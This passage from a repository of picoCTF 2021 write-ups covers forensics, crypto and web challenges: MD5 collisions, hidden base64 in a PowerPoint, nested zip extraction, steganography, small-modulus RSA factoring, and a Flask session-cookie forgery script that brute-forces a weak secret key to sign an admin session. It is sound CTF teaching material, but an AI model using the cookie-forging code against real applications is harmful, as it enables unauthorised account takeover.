====> Hash 2 27 | +-----------------+ 28 | ``` 29 | Where the following is true: 30 | ``` 31 | Hash 1 != Hash 2 32 | ``` 33 | 34 | ## The solution 35 | 36 | Great! So no way we could possibly solve this challenge.... well that is obviously not true. We've established before that MD5 is vulnerable and collisions have been found before. Like [here](https://www.mscs.dal.ca/~selinger/md5collision/). This is also where I found my files. 37 | ``` 38 | hello.exe 39 | erase.exe 40 | ``` 41 | Simply change the file extension to `.pdf`. Upload to this beautiful website. 42 |
43 | 44 | ![website](./website.png) 45 | 46 |
47 | 48 | And then get the following result: 49 | ```php 50 | 89 | 90 | 91 | 92 | 93 | It is my Birthday 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 |
110 |
111 |

It is my Birthday

112 |
113 |
114 |

115 |
116 |
117 |

See if you are invited to my party!

118 |
119 |
120 |
121 |
122 |
123 |
124 |
125 | 126 | 127 |
128 |
129 |
130 |
131 | 132 |
133 |
134 |
135 |
136 |
137 |
138 |
139 |

© PicoCTF

140 |
141 | 142 | 143 | 144 | 151 | 152 | 153 | 154 | ``` 155 | 156 | `picoCTF{c0ngr4ts_u_r_1nv1t3d_da36cc1b}` Here it is :) -------------------------------------------------------------------------------- /It_is_my_birthday/erase.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/It_is_my_birthday/erase.pdf -------------------------------------------------------------------------------- /It_is_my_birthday/hello.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/It_is_my_birthday/hello.pdf -------------------------------------------------------------------------------- /It_is_my_birthday/website.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/It_is_my_birthday/website.png -------------------------------------------------------------------------------- /MacroHard_WeakEdge/Forensics is fun.pptm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/MacroHard_WeakEdge/Forensics is fun.pptm -------------------------------------------------------------------------------- /MacroHard_WeakEdge/README.md: -------------------------------------------------------------------------------- 1 | # MacroHard WeakEdge 2 | 3 | Category: Forensics
4 | AUTHOR: MADSTACKS 5 | 6 | **Diclaimer! None of the challenge files are mine!** 7 | 8 | ## Description 9 | ``` 10 | I've hidden a flag in this file. Can you find it? Forensics is fun.pptm 11 | ``` 12 | 13 | ## PowerPoint 14 | 15 | Now, here's the thing. If you've done `Weird File` (writeup [here](https://github.com/xnomas/PicoCTF-2021-Writeups/tree/main/Weird_File)) you already know that a PowerPoint file can be unzipped and it's contents looked through! Also, we have a big hint in the name of this challenge `Macro`. And to prove this, just run `binwalk`: 16 | ``` 17 | root@kali:~/CTFs/Picoctf-2021/macrohard_weakedge-solved# binwalk Forensics\ is\ fun.pptm 18 | 19 | DECIMAL HEXADECIMAL DESCRIPTION 20 | -------------------------------------------------------------------------------- 21 | 0 0x0 Zip archive data, at least v2.0 to extract, compressed size: 674, uncompressed size: 10660, name: [Content_Types].xml 22 | 1243 0x4DB Zip archive data, at least v2.0 to extract, compressed size: 259, uncompressed size: 738, name: _rels/.rels 23 | 2063 0x80F Zip archive data, at least v2.0 to extract, compressed size: 951, uncompressed size: 5197, name: ppt/presentation.xml 24 | 3064 0xBF8 Zip archive data, at least v2.0 to extract, compressed size: 189, uncompressed size: 311, name: ppt/slides/_rels/slide46.xml.rels 25 | 3316 0xCF4 Zip archive data, at least v2.0 to extract, compressed size: 688, uncompressed size: 1740, name: ppt/slides/slide1.xml 26 | 4055 0xFD7 Zip archive data, at least v2.0 to extract, compressed size: 657, uncompressed size: 1681, name: ppt/slides/slide2.xml 27 | 4763 0x129B Zip archive data, at least v2.0 to extract, compressed size: 659, uncompressed size: 1681, name: ppt/slides/slide3.xml 28 | 5473 0x1561 Zip archive data, at least v2.0 to extract, compressed size: 657, uncompressed size: 1682, name: ppt/slides/slide4.xml 29 | 6181 0x1825 Zip archive data, at least v2.0 to extract, compressed size: 658, uncompressed size: 1682, name: ppt/slides/slide5.xml 30 | ... 31 | ... 32 | 43914 0xAB8A Zip archive data, at least v2.0 to extract, compressed size: 657, uncompressed size: 1681, name: ppt/slides/slide58.xml 33 | 44623 0xAE4F Zip archive data, at least v2.0 to extract, compressed size: 189, uncompressed size: 311, name: ppt/slides/_rels/slide47.xml.rels 34 | ... 35 | 47899 0xBB1B Zip archive data, at least v2.0 to extract, compressed size: 189, uncompressed size: 311, name: ppt/slides/_rels/slide13.xml.rels 36 | 48151 0xBC17 Zip archive data, at least v2.0 to extract, compressed size: 646, uncompressed size: 8783, name: ppt/_rels/presentation.xml.rels 37 | 49122 0xBFE2 Zip archive data, at least v2.0 to extract, compressed size: 192, uncompressed size: 311, name: ppt/slides/_rels/slide1.xml.rels 38 | ... 39 | 59700 0xE934 Zip archive data, at least v2.0 to extract, compressed size: 189, uncompressed size: 311, name: ppt/slides/_rels/slide45.xml.rels 40 | 59952 0xEA30 Zip archive data, at least v2.0 to extract, compressed size: 2063, uncompressed size: 13875, name: ppt/slideMasters/slideMaster1.xml 41 | 62078 0xF27E Zip archive data, at least v2.0 to extract, compressed size: 1281, uncompressed size: 4678, name: ppt/slideLayouts/slideLayout1.xml 42 | ... 43 | 75061 0x12535 Zip archive data, at least v2.0 to extract, compressed size: 1187, uncompressed size: 4200, name: ppt/slideLayouts/slideLayout11.xml 44 | 76312 0x12A18 Zip archive data, at least v2.0 to extract, compressed size: 277, uncompressed size: 1991, name: ppt/slideMasters/_rels/slideMaster1.xml.rels 45 | 76663 0x12B77 Zip archive data, at least v2.0 to extract, compressed size: 188, uncompressed size: 311, name: ppt/slideLayouts/_rels/slideLayout1.xml.rels 46 | ... 47 | 79284 0x135B4 Zip archive data, at least v2.0 to extract, compressed size: 188, uncompressed size: 311, name: ppt/slideLayouts/_rels/slideLayout11.xml.rels 48 | 79547 0x136BB Zip archive data, at least v2.0 to extract, compressed size: 1732, uncompressed size: 8399, name: ppt/theme/theme1.xml 49 | 81329 0x13DB1 Zip archive data, at least v1.0 to extract, compressed size: 2278, uncompressed size: 2278, name: docProps/thumbnail.jpeg 50 | 83660 0x146CC Zip archive data, at least v2.0 to extract, compressed size: 2222, uncompressed size: 7168, name: ppt/vbaProject.bin 51 | 85930 0x14FAA Zip archive data, at least v2.0 to extract, compressed size: 397, uncompressed size: 818, name: ppt/presProps.xml 52 | 86374 0x15166 Zip archive data, at least v2.0 to extract, compressed size: 387, uncompressed size: 811, name: ppt/viewProps.xml 53 | 86808 0x15318 Zip archive data, at least v2.0 to extract, compressed size: 172, uncompressed size: 182, name: ppt/tableStyles.xml 54 | 87029 0x153F5 Zip archive data, at least v2.0 to extract, compressed size: 342, uncompressed size: 666, name: docProps/core.xml 55 | 87682 0x15682 Zip archive data, at least v2.0 to extract, compressed size: 556, uncompressed size: 3784, name: docProps/app.xml 56 | 88548 0x159E4 Zip archive data, at least v2.0 to extract, compressed size: 81, uncompressed size: 99, name: ppt/slideMasters/hidden 57 | 100071 0x186E7 End of Zip archive, footer length: 22 58 | 59 | ``` 60 | The output is really big, so I shortened it. Hmm... notice anything peculiar? 61 | 62 | ### Extracting and snooping 63 | ```bash 64 | root@kali:~/CTFs/Picoctf-2021/macrohard_weakedge-solved/writeup# ls 65 | 'Forensics is fun.pptm' 66 | root@kali:~/CTFs/Picoctf-2021/macrohard_weakedge-solved/writeup# 7z x Forensics\ is\ fun.pptm 67 | 68 | 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 69 | p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,3 CPUs Intel(R) Core(TM) i7-8550U CPU @ 1.80GHz (806EA),ASM,AES-NI) 70 | 71 | Scanning the drive for archives: 72 | 1 file, 100093 bytes (98 KiB) 73 | 74 | Extracting archive: Forensics is fun.pptm 75 | -- 76 | Path = Forensics is fun.pptm 77 | Type = zip 78 | Physical Size = 100093 79 | 80 | Everything is Ok 81 | 82 | Files: 153 83 | Size: 237329 84 | Compressed: 100093 85 | ``` 86 | Awesome! Now we can just look through it. 87 | ```bash 88 | root@kali:~/CTFs/Picoctf-2021/macrohard_weakedge-solved/writeup# ls -la * 89 | -rw-r--r-- 1 root root 10660 Dec 31 1979 '[Content_Types].xml' 90 | -rw-r--r-- 1 root root 100093 Mar 30 12:59 'Forensics is fun.pptm' 91 | 92 | docProps: 93 | total 20 94 | drwx------ 2 root root 4096 Mar 30 12:59 . 95 | drwxr-xr-x 5 root root 4096 Mar 30 12:59 .. 96 | -rw-r--r-- 1 root root 3784 Dec 31 1979 app.xml 97 | -rw-r--r-- 1 root root 666 Dec 31 1979 core.xml 98 | -rw-r--r-- 1 root root 2278 Dec 31 1979 thumbnail.jpeg 99 | 100 | ppt: 101 | total 56 102 | drwx------ 7 root root 4096 Mar 30 12:59 . 103 | drwxr-xr-x 5 root root 4096 Mar 30 12:59 .. 104 | -rw-r--r-- 1 root root 5197 Dec 31 1979 presentation.xml 105 | -rw-r--r-- 1 root root 818 Dec 31 1979 presProps.xml 106 | drwx------ 2 root root 4096 Mar 30 12:59 _rels 107 | drwx------ 3 root root 4096 Mar 30 12:59 slideLayouts 108 | drwx------ 3 root root 4096 Mar 30 12:59 slideMasters 109 | drwx------ 3 root root 4096 Mar 30 12:59 slides 110 | -rw-r--r-- 1 root root 182 Dec 31 1979 tableStyles.xml 111 | drwx------ 2 root root 4096 Mar 30 12:59 theme 112 | -rw-r--r-- 1 root root 7168 Dec 31 1979 vbaProject.bin 113 | -rw-r--r-- 1 root root 811 Dec 31 1979 viewProps.xml 114 | 115 | _rels: 116 | total 12 117 | drwx------ 2 root root 4096 Mar 30 12:59 . 118 | drwxr-xr-x 5 root root 4096 Mar 30 12:59 .. 119 | -rw-r--r-- 1 root root 738 Dec 31 1979 .rels 120 | 121 | ``` 122 | Just confirming the file structure that `binwalk` provided. Now! What did you see in tha big output? I saw this: `ppt/vbaProject.bin`, `ppt/slideMasters/hidden`. Time to check these out! 123 | 124 | ## Macro (Hard) 125 | 126 | ```bash 127 | root@kali:~/CTFs/Picoctf-2021/macrohard_weakedge-solved/writeup# strings ppt/vbaProject.bin 128 | VBAProje 129 | stdole> 130 | *\G{00 131 | 020430- 132 | 6}#2.0#0 133 | #C:\Wind 134 | ows\Syst em32\ 135 | tlb#OLE 136 | Automati 137 | EOffDic 138 | 2DF8D04C 139 | -5BFA-10 140 | 1B-BDE5 141 | gram Fil 142 | es\Commo 143 | Micros 144 | oft Shar 145 | ed\OFFIC 146 | E16\MSO.0DLL# 147 | M 1@6.0 Ob 148 | Library 149 | ule1G 150 | sorry_but_this_isn't_it 151 | ... 152 | ``` 153 | Oh? It's not? Well no worries, we still have the second file to look through. 154 | 155 | ## Weak (Edge) 156 | 157 | ```bash 158 | root@kali:~/CTFs/Picoctf-2021/macrohard_weakedge-solved/writeup# cat ppt/slideMasters/hidden 159 | Z m x h Z z o g c G l j b 0 N U R n t E M W R f d V 9 r b j B 3 X 3 B w d H N f c l 9 6 M X A 1 f Q 160 | ``` 161 | Riiiight.. well looking at it, this string looks like base64. 162 | 163 | ## Flag 164 | 165 | I just replaced the spaces with nothing in SublimeText. `ZmxhZzogcGljb0NURntEMWRfdV9rbjB3X3BwdHNfcl96MXA1fQ` looks even more like base64, doesn't it? 166 | 167 | ```bash 168 | echo ZmxhZzogcGljb0NURntEMWRfdV9rbjB3X3BwdHNfcl96MXA1fQ | base64 -d 169 | flag: picoCTF{D1d_u_kn0w_ppts_r_z1p5}base64: invalid input 170 | ``` 171 | Awesome! 172 | -------------------------------------------------------------------------------- /Matryoshka_doll/README.md: -------------------------------------------------------------------------------- 1 | # Matryoshka Doll 2 | 3 | Category: Forensics
4 | AUTHOR: SUSIE/PANDU 5 | 6 | ## Description 7 | ``` 8 | Matryoshka dolls are a set of wooden dolls of decreasing size placed one inside another. 9 | What's the final one? Image: this 10 | ``` 11 | 12 | ## The file 13 | 14 | What's inside? By now you should know the gist of it: `file`, `binwalk`, `strings` (maybe), `hexeditor` 15 | ```bash 16 | root@kali:~/CTFs/Picoctf-2021/matryoshka_doll-solved# file dolls.jpg 17 | dolls.jpg: PNG image data, 594 x 1104, 8-bit/color RGBA, non-interlaced 18 | root@kali:~/CTFs/Picoctf-2021/matryoshka_doll-solved# binwalk dolls.jpg 19 | 20 | DECIMAL HEXADECIMAL DESCRIPTION 21 | -------------------------------------------------------------------------------- 22 | 0 0x0 PNG image, 594 x 1104, 8-bit/color RGBA, non-interlaced 23 | 3226 0xC9A TIFF image data, big-endian, offset of first image directory: 8 24 | 272492 0x4286C Zip archive data, at least v2.0 to extract, compressed size: 378952, uncompressed size: 383937, name: base_images/2_c.jpg 25 | 651610 0x9F15A End of Zip archive, footer length: 22 26 | 27 | ``` 28 | Right, so we can stop right here... There is a zip archive hidden inside the image! 29 | 30 | ## Extracting 31 | 32 | ```bash 33 | root@kali:~/CTFs/Picoctf-2021/matryoshka_doll-solved# 7z x dolls.jpg 34 | 35 | 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 36 | p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,3 CPUs Intel(R) Core(TM) i7-8550U CPU @ 1.80GHz (806EA),ASM,AES-NI) 37 | 38 | Scanning the drive for archives: 39 | 1 file, 651632 bytes (637 KiB) 40 | 41 | Extracting archive: dolls.jpg 42 | -- 43 | Path = dolls.jpg 44 | Type = zip 45 | Offset = 272492 46 | Physical Size = 379140 47 | 48 | Everything is Ok 49 | 50 | Size: 383937 51 | Compressed: 651632 52 | ``` 53 | Great, we extracted it! What's inside? 54 | ```bash 55 | root@kali:~/CTFs/Picoctf-2021/matryoshka_doll-solved/base_images# ls 56 | 2_c.jpg 57 | root@kali:~/CTFs/Picoctf-2021/matryoshka_doll-solved/base_images# binwalk 2_c.jpg 58 | 59 | DECIMAL HEXADECIMAL DESCRIPTION 60 | -------------------------------------------------------------------------------- 61 | 0 0x0 PNG image, 526 x 1106, 8-bit/color RGBA, non-interlaced 62 | 3226 0xC9A TIFF image data, big-endian, offset of first image directory: 8 63 | 187707 0x2DD3B Zip archive data, at least v2.0 to extract, compressed size: 196042, uncompressed size: 201444, name: base_images/3_c.jpg 64 | 383804 0x5DB3C End of Zip archive, footer length: 22 65 | 383915 0x5DBAB End of Zip archive, footer length: 22 66 | 67 | ``` 68 | Oh lovely... another one. To be expected with matryoshka dolls. 69 | ```bash 70 | root@kali:~/CTFs/Picoctf-2021/matryoshka_doll-solved/base_images/base_images# ls base_images 71 | 3_c.jpg 72 | ``` 73 | Now instead of going through it manually, I wrote a bash script. 74 | 75 | ## Bash script 76 | 77 | ```bash 78 | #!/bin/bash 79 | 80 | check_dir(){ 81 | if [ -d "base_images" ]; then 82 | cd "base_images" 83 | return 0 84 | else 85 | return 1 86 | fi 87 | } 88 | 89 | check_for_zip() { 90 | if binwalk "$1" | grep "Zip" > /dev/null ; then 91 | 7z x "$1" 92 | return 0 93 | fi 94 | return 1 95 | } 96 | 97 | check_for_zip "$1" 98 | 99 | check_dir 100 | 101 | for i in {2..20} 102 | do 103 | if check_for_zip $i"_c.jpg"; then 104 | if check_dir; then 105 | echo "in" $i"_c.jpg" 106 | else 107 | echo "done" 108 | cat flag.txt 109 | break 110 | fi 111 | fi 112 | done 113 | ``` 114 | Now run and watch it finish: 115 | ```bash 116 | root@kali:~/CTFs/Picoctf-2021/matryoshka_doll-solved# ./solve.sh dolls.jpg 117 | 118 | 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 119 | p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,3 CPUs Intel(R) Core(TM) i7-8550U CPU @ 1.80GHz (806EA),ASM,AES-NI) 120 | 121 | Scanning the drive for archives: 122 | 1 file, 651632 bytes (637 KiB) 123 | 124 | Extracting archive: dolls.jpg 125 | -- 126 | Path = dolls.jpg 127 | Type = zip 128 | Offset = 272492 129 | Physical Size = 379140 130 | 131 | Everything is Ok 132 | 133 | Size: 383937 134 | Compressed: 651632 135 | 136 | 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 137 | p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,3 CPUs Intel(R) Core(TM) i7-8550U CPU @ 1.80GHz (806EA),ASM,AES-NI) 138 | 139 | Scanning the drive for archives: 140 | 1 file, 383937 bytes (375 KiB) 141 | 142 | Extracting archive: 2_c.jpg 143 | -- 144 | Path = 2_c.jpg 145 | Type = zip 146 | Offset = 187707 147 | Physical Size = 196230 148 | 149 | Everything is Ok 150 | 151 | Size: 201444 152 | Compressed: 383937 153 | in 2_c.jpg 154 | 155 | 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 156 | p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,3 CPUs Intel(R) Core(TM) i7-8550U CPU @ 1.80GHz (806EA),ASM,AES-NI) 157 | 158 | Scanning the drive for archives: 159 | 1 file, 201444 bytes (197 KiB) 160 | 161 | Extracting archive: 3_c.jpg 162 | -- 163 | Path = 3_c.jpg 164 | Type = zip 165 | Offset = 123606 166 | Physical Size = 77838 167 | 168 | Everything is Ok 169 | 170 | Size: 79807 171 | Compressed: 201444 172 | in 3_c.jpg 173 | 174 | 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 175 | p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,3 CPUs Intel(R) Core(TM) i7-8550U CPU @ 1.80GHz (806EA),ASM,AES-NI) 176 | 177 | Scanning the drive for archives: 178 | 1 file, 79807 bytes (78 KiB) 179 | 180 | Extracting archive: 4_c.jpg 181 | -- 182 | Path = 4_c.jpg 183 | Type = zip 184 | Offset = 79578 185 | Physical Size = 229 186 | 187 | Everything is Ok 188 | 189 | Size: 81 190 | Compressed: 79807 191 | done 192 | picoCTF{96fac089316e094d41ea046900197662} 193 | ``` 194 | That was fun! -------------------------------------------------------------------------------- /Milkslap/README.md: -------------------------------------------------------------------------------- 1 | # Milkslap 2 | 3 | Category: Forensics 4 | AUTHOR: JAMES LYNCH 5 | 6 | **Disclaimer! I do not own any of the challenge files!** 7 | 8 | ## Description 9 | ``` 10 | 🥛 11 | ``` 12 | 13 | ## The link 14 | 15 | Yes, that glass of milk is a link. Which shows this: 16 |
17 | 18 | ![slap](./slap.png) 19 | 20 |
21 | 22 | Right, so a gif. Viewed the source: 23 | ```html 24 | 25 | 26 | 27 | 28 | 29 | 30 | 🥛 31 | 32 | 33 | 34 | 35 |
36 | 41 | 45 | 46 | 47 | ``` 48 | Nothing much, it's probably in the CSS: 49 | ``` 50 | /* source: milkslap-milkslap.scss */ 51 | body { 52 | margin: 0; 53 | padding: 0; 54 | overflow: hidden; } 55 | 56 | a { 57 | color: inherit; } 58 | 59 | .center { 60 | width: 1080px; 61 | height: 720px; 62 | margin: 0 auto; } 63 | 64 | #image { 65 | height: 720px; 66 | margin-top: 5%; 67 | margin-bottom: 20px; 68 | background-image: url(concat_v.png); 69 | background-position: 0 0; } 70 | 71 | #foot { 72 | margin-bottom: 5px; 73 | color: #999999; } 74 | #foot h1 { 75 | font-family: serif; 76 | font-weight: normal; 77 | font-size: 1rem; 78 | text-align: center; } 79 | ``` 80 | Yes it is! `http://mercury.picoctf.net:29522/concat_v.png`
81 | 82 | So not a gif, just concated images. Nice. What can we do with this? 83 | 84 | ## Stego 85 | 86 | So some file identification: 87 | ```bash 88 | root@kali:~/CTFs/Picoctf-2021/milkslap-solved# file concat_v.png 89 | concat_v.png: PNG image data, 1280 x 47520, 8-bit/color RGB, non-interlaced 90 | root@kali:~/CTFs/Picoctf-2021/milkslap-solved# binwalk concat_v.png 91 | 92 | DECIMAL HEXADECIMAL DESCRIPTION 93 | -------------------------------------------------------------------------------- 94 | 41 0x29 Zlib compressed data, default compression 95 | 3210141 0x30FB9D MySQL ISAM compressed data file Version 2 96 | ``` 97 | Turns out, that binwalk was just confused. It's okay, we've all been there. Since I'm not very good at stego, I looked up John Hammond's repo [ctf-katana](https://github.com/JohnHammond/ctf-katana#steganography) and just went through the tools, some I already installed and could test, some did not work for `.png` files. But one solved it. 98 | 99 | ## zsteg 100 | 101 | zsteg is a ruby based tool (available [here](https://github.com/zed-0xff/zsteg)). Install with `gem install zsteg` and run like so: 102 | ``` 103 | zsteg -s first concat_v.png 104 | 105 | imagedata .. text: "\n\n\n\n\n\n\t\t" 106 | b1,b,lsb,xy .. text: "picoCTF{imag3_m4n1pul4t10n_sl4p5}\n" <-- 107 | b1,bgr,lsb,xy .. 108 | b2,r,lsb,xy .. file: SoftQuad DESC or font file binary 109 | b2,r,msb,xy .. file: VISX image file 110 | b2,g,lsb,xy .. file: VISX image file 111 | b2,g,msb,xy .. file: SoftQuad DESC or font file binary - version 15722 112 | b2,b,msb,xy .. text: "UfUUUU@UUU" 113 | b4,r,lsb,xy .. text: "\"\"\"\"\"#4D" 114 | b4,r,msb,xy .. text: "wwww3333" 115 | b4,g,lsb,xy .. text: "wewwwwvUS" 116 | b4,g,msb,xy .. text: "\"\"\"\"DDDD" 117 | b4,b,lsb,xy .. text: "vdUeVwweDFw" 118 | b4,b,msb,xy .. text: "UUYYUUUUUUUU" 119 | ``` 120 | There it is :) -------------------------------------------------------------------------------- /Milkslap/slap.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Milkslap/slap.png -------------------------------------------------------------------------------- /Mind_Your_Ps_and_Qs/README.md: -------------------------------------------------------------------------------- 1 | # Mind your Ps and Qs 2 | 3 | Category: Cryptography
4 | AUTHOR: SARA 5 | 6 | ## Description 7 | ``` 8 | In RSA, a small e value can be problematic, but what about N? Can you decrypt this? 9 | ``` 10 | 11 | ## Values 12 | 13 | We have been given the following values: 14 | ``` 15 | Decrypt my super sick RSA: 16 | c: 843044897663847841476319711639772861390329326681532977209935413827620909782846667 17 | n: 1422450808944701344261903748621562998784243662042303391362692043823716783771691667 18 | e: 65537 19 | ``` 20 | C is the ciphertext we wish to decode. N is the result of multiplying two prime numbers p and q, ie. `n = p * q`. E is the multiplicative inverse of a private exponent `d` modulo `phi`. Phi is equal to `(p-1)*(q-1)`. Here in a more ordered fashion: 21 | ``` 22 | C = ciphertext 23 | p and q = prime numbers 24 | n = p * q 25 | phi = (p-1) * (q-1) 26 | e = some number that 1 < e < phi and gcd(e,phi) == 1 27 | d = e^(-1) mod phi 28 | ``` 29 | Great! Now we just need to find p and q... 30 | 31 | ## Factor db 32 | 33 | [Factordb](http://factordb.com/) is a database of factorised numbers. We could try out n: 34 | ``` 35 | n = 2159947535959146091116171018558446546179 * 658558036833541874645521278345168572231473 36 | ``` 37 | Awesome! Now we can just calculate. 38 | 39 | ## Solving 40 | 41 | ```py 42 | from Crypto.Util.number import inverse, long_to_bytes 43 | 44 | c = 843044897663847841476319711639772861390329326681532977209935413827620909782846667 45 | n = 1422450808944701344261903748621562998784243662042303391362692043823716783771691667 46 | e = 65537 47 | p = 2159947535959146091116171018558446546179 48 | q = 658558036833541874645521278345168572231473 49 | 50 | phi = (p-1)*(q-1) 51 | 52 | d = inverse(e, phi) 53 | 54 | m = pow(c,d,n) 55 | 56 | print(long_to_bytes(m)) 57 | ``` 58 | ```bash 59 | python3 solve.py 60 | b'picoCTF{sma11_N_n0_g0od_00264570}' 61 | ``` 62 | There we go! -------------------------------------------------------------------------------- /Mind_Your_Ps_and_Qs/solve.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import inverse, long_to_bytes 2 | 3 | c = 843044897663847841476319711639772861390329326681532977209935413827620909782846667 4 | n = 1422450808944701344261903748621562998784243662042303391362692043823716783771691667 5 | e = 65537 6 | p = 2159947535959146091116171018558446546179 7 | q = 658558036833541874645521278345168572231473 8 | 9 | phi = (p-1)*(q-1) 10 | 11 | d = inverse(e, phi) 12 | 13 | m = pow(c,d,n) 14 | 15 | print(long_to_bytes(m)) 16 | 17 | -------------------------------------------------------------------------------- /Mind_Your_Ps_and_Qs/values: -------------------------------------------------------------------------------- 1 | Decrypt my super sick RSA: 2 | c: 843044897663847841476319711639772861390329326681532977209935413827620909782846667 3 | n: 1422450808944701344261903748621562998784243662042303391362692043823716783771691667 4 | e: 65537 5 | 6 | on factordb 7 | p: 2159947535959146091116171018558446546179 8 | q: 658558036833541874645521278345168572231473 -------------------------------------------------------------------------------- /Most_Cookies/README.md: -------------------------------------------------------------------------------- 1 | # Most Cookies 2 | 3 | Category: Web Exploitation
4 | AUTHOR: MADSTACKS 5 | 6 | ## Description 7 | ``` 8 | Alright, enough of using my own encryption. Flask session cookies should be plenty secure 9 | ``` 10 | 11 | ## The how to 12 | 13 | We received the server source code. The most important part for us is the server list of secret keys: 14 | ```py 15 | cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", 16 | "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", 17 | "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", 18 | "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", 19 | "lebkuchen", "macaron", "black and white", "white chocolate macadamia"] 20 | ``` 21 | Cookies! Yum. Now again, for the sake of transparency. After some googling around I came by this [article](https://blog.paradoxis.nl/defeating-flasks-session-management-65706ba9d3ce). 22 |
23 | The source code used there is exactly what is needed to solve this challenge. And unlike the author (Luke Paris, great job) we don't have to scrape for the secret keys: 24 | ```py 25 | import flask 26 | import hashlib 27 | 28 | from sys import argv 29 | from flask.json.tag import TaggedJSONSerializer 30 | from itsdangerous import URLSafeTimedSerializer, TimestampSigner, BadSignature 31 | 32 | cookie = argv[1] 33 | 34 | cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", 35 | "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", 36 | "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", 37 | "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", 38 | "lebkuchen", "macaron", "black and white", "white chocolate macadamia"] 39 | 40 | real_secret = '' 41 | 42 | for secret in cookie_names: 43 | try: 44 | serializer = URLSafeTimedSerializer( 45 | secret_key=secret, 46 | salt='cookie-session', 47 | serializer=TaggedJSONSerializer(), 48 | signer=TimestampSigner, 49 | signer_kwargs={ 50 | 'key_derivation' : 'hmac', 51 | 'digest_method' : hashlib.sha1 52 | }).loads(cookie) 53 | except BadSignature: 54 | continue 55 | 56 | print(f'Secret key: {secret}') 57 | real_secret = secret 58 | 59 | session = {'very_auth' : 'admin'} 60 | 61 | print(URLSafeTimedSerializer( 62 | secret_key=real_secret, 63 | salt='cookie-session', 64 | serializer=TaggedJSONSerializer(), 65 | signer=TimestampSigner, 66 | signer_kwargs={ 67 | 'key_derivation' : 'hmac', 68 | 'digest_method' : hashlib.sha1 69 | } 70 | ).dumps(session)) 71 | 72 | ``` 73 | Then I just got the cookie that was set by the server and ran like this: 74 | ```bash 75 | python3 solve.py eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9.YGDN9Q.OQfLsrc3CI1o1FnNcfKIritiSiU 76 | Secret key: chocolate chip 77 | eyJ2ZXJ5X2F1dGgiOiJhZG1pbiJ9.YGDOnQ.7XmRCoG9kNKi2lcgJ11-PXB2SBo 78 | ``` 79 | Change your cookie value or send a request through python: 80 |
81 | 82 | ![flag](./flag.png) 83 | 84 |
-------------------------------------------------------------------------------- /Most_Cookies/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Most_Cookies/flag.png -------------------------------------------------------------------------------- /Most_Cookies/server.py: -------------------------------------------------------------------------------- 1 | from flask import Flask, render_template, request, url_for, redirect, make_response, flash, session 2 | import random 3 | app = Flask(__name__) 4 | flag_value = open("./flag").read().rstrip() 5 | title = "Most Cookies" 6 | cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"] 7 | app.secret_key = random.choice(cookie_names) 8 | 9 | @app.route("/") 10 | def main(): 11 | if session.get("very_auth"): 12 | check = session["very_auth"] 13 | if check == "blank": 14 | return render_template("index.html", title=title) 15 | else: 16 | return make_response(redirect("/display")) 17 | else: 18 | resp = make_response(redirect("/")) 19 | session["very_auth"] = "blank" 20 | return resp 21 | 22 | @app.route("/search", methods=["GET", "POST"]) 23 | def search(): 24 | if "name" in request.form and request.form["name"] in cookie_names: 25 | resp = make_response(redirect("/display")) 26 | session["very_auth"] = request.form["name"] 27 | return resp 28 | else: 29 | message = "That doesn't appear to be a valid cookie." 30 | category = "danger" 31 | flash(message, category) 32 | resp = make_response(redirect("/")) 33 | session["very_auth"] = "blank" 34 | return resp 35 | 36 | @app.route("/reset") 37 | def reset(): 38 | resp = make_response(redirect("/")) 39 | session.pop("very_auth", None) 40 | return resp 41 | 42 | @app.route("/display", methods=["GET"]) 43 | def flag(): 44 | if 